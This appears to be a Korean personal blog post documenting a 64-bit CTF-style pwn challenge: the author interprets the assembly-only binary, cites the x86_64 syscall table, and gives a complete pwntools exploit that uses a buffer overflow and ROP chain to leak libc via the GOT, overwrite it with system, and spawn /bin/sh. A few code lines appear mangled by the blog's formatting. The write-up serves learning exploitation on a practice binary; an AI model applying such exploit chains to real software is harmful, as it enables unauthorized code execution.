티스토리 뷰

카테고리 없음

syscall (64bit)

mhibio 2019. 8. 21. 16:56

동아리 선배들한테 받은 문제

 

pwn1_
0.01MB

이 문제는 어셈으로 만들어져서 ida의 디컴파일의 기능이 안먹는다.

직접 어셈보고 해석한 문제

 

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

 

Linux System Call Table for x86 64 · Ryan A. Chapman

Linux 4.7 (pulled from github.com/torvalds/linux on Jul 20 2016), x86_64 Note: 64-bit x86 uses syscall instead of interrupt 0x80. The result value will be in %rax To find the implementation of a system call, grep the kernel tree for SYSCALL_DEFINE.\?(sysca

blog.rchapman.org

테이블을 보면

sys_read는 eax 가 0

sys_write는 eax 가 1이다.

 

가젯들은 명령들이 ret을 만날때까지 실행한다.

그 예로 

stdout_sys 에 해당되는 명령어는

eax 를 1로 설정하고  

sys_read를 실행하고 입력을 받는다.

그후 eax를 0으로 다시 설정하고 끝낸다.

 

덕분에 sys_read를 받을땐 eax를 설정해줄 필요가 없다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
 
= process("./pwn1_")
 
= ELF('./pwn1_')
= e.libc
 
prdi = 0x0000000000400683
pprsi = 0x0000000000400681
syscall = 0x0000000000400581
stdout_sys = 0x0000000000400561
binsh = 0x000000000601064
 
#stdout_sys in the ida ; 
#set eax = 1 / (before) syscall
#then, 
#doing put the value in u2
#so sendline('/bin/sh\x00')
 
#and set eax = 0
 
 
#syscall gadget in the ida;
#syscall / (before) set eax = 0
 
#in the syscall table 'eax = 0' is sys_read
#in the syscall table 'eax = 1' is sys_write
 
#binsh have '/bin/sh\x00'
 
l_s_m_plt = e.plt['__libc_start_main']
l_s_m_got = e.got['__libc_start_main']
 
 
p.send('/bin/sh\x00')
p.send('/bin/sh\x00')
 
 
pay = "A" * 0x20
pay += "B" * 0x8
 
pay += p64(prdi)
pay += p64(1)
pay += p64(pprsi)
pay += p64(l_s_m_got)
pay += p64(0)
 
pay += p64(stdout_sys)
 
pay += p64(prdi)
pay += p64(0)
pay += p64(pprsi)
pay += p64(l_s_m_got)
pay += p64(0)
pay += p64(syscall)
 
pay += p64(prdi)
pay += p64(binsh)
pay += p64(l_s_m_plt)
 
p.send(pay)
 
p.recvuntil('\n')
 
base = u64(p.recv(6).ljust(8'\x00')) - l.symbols['__libc_start_main']
 
system = base + l.symbols['system']
 
p.sendline('/bin/sh\x00')
# in the syscall
 
p.send(p64(system))
 
p.recv()
 
p.interactive()
cs
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함